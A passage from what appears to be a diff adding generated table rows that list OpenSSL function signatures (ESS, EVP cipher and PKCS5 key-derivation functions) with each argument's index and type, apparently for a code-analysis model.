*) | | ESS_CERT_ID_V2_free | 0 | ESS_CERT_ID_V2 * | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 0 | ESS_CERT_ID_V2 ** | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 1 | const unsigned char ** | +| (ESS_CERT_ID_V2 **,const unsigned char **,long) | | d2i_ESS_CERT_ID_V2 | 2 | long | +| (ESS_ISSUER_SERIAL *) | | ESS_ISSUER_SERIAL_free | 0 | ESS_ISSUER_SERIAL * | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 0 | ESS_ISSUER_SERIAL ** | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 1 | const unsigned char ** | +| (ESS_ISSUER_SERIAL **,const unsigned char **,long) | | d2i_ESS_ISSUER_SERIAL | 2 | long | +| (ESS_SIGNING_CERT *) | | ESS_SIGNING_CERT_free | 0 | ESS_SIGNING_CERT * | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 0 | ESS_SIGNING_CERT ** | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 1 | const unsigned char ** | +| (ESS_SIGNING_CERT **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT | 2 | long | +| (ESS_SIGNING_CERT_V2 *) | | ESS_SIGNING_CERT_V2_free | 0 | ESS_SIGNING_CERT_V2 * | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 0 | ESS_SIGNING_CERT_V2 ** | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 1 | const unsigned char ** | +| (ESS_SIGNING_CERT_V2 **,const unsigned char **,long) | | d2i_ESS_SIGNING_CERT_V2 | 2 | long | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_cleanup | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_ctrl | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_do_cipher | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_do_cipher | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_get_asn1_params | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_get_asn1_params | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_init | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_init | 1 | ..(*)(..) | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_set_asn1_params | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,..(*)(..)) | | EVP_CIPHER_meth_set_set_asn1_params | 1 | ..(*)(..) | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | int | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | int | +| (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 0 | EVP_CIPHER * | +| (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | unsigned long | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_buf_noconst | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get1_cipher | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_iv_noconst | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_param_to_asn1 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_param_to_asn1 | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_set_asn1_iv | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *) | | EVP_CIPHER_set_asn1_iv | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 1 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *) | | evp_cipher_param_to_asn1_ex | 2 | evp_cipher_aead_asn1_params * | +| (EVP_CIPHER_CTX *,X509_ALGOR **) | | EVP_CIPHER_CTX_get_algor | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,X509_ALGOR **) | | EVP_CIPHER_CTX_get_algor | 1 | X509_ALGOR ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 2 | ENGINE * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit_ex | 5 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 2 | EVP_SKEY * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 5 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[]) | | EVP_CipherInit_SKEY | 6 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_DecryptInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *) | | EVP_EncryptInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_DecryptInit_ex2 | 4 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[]) | | EVP_EncryptInit_ex2 | 4 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int) | | EVP_CipherInit | 4 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 4 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[]) | | EVP_CipherInit_ex2 | 5 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 3 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 5 | EVP_PKEY * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 3 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 5 | const unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 6 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 3 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 5 | const unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 6 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 2 | unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 3 | int * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 4 | unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 5 | EVP_PKEY ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 6 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_copy | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_copy | 1 | const EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const OSSL_PARAM[]) | | EVP_CIPHER_CTX_set_params | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const OSSL_PARAM[]) | | EVP_CIPHER_CTX_set_params | 1 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const 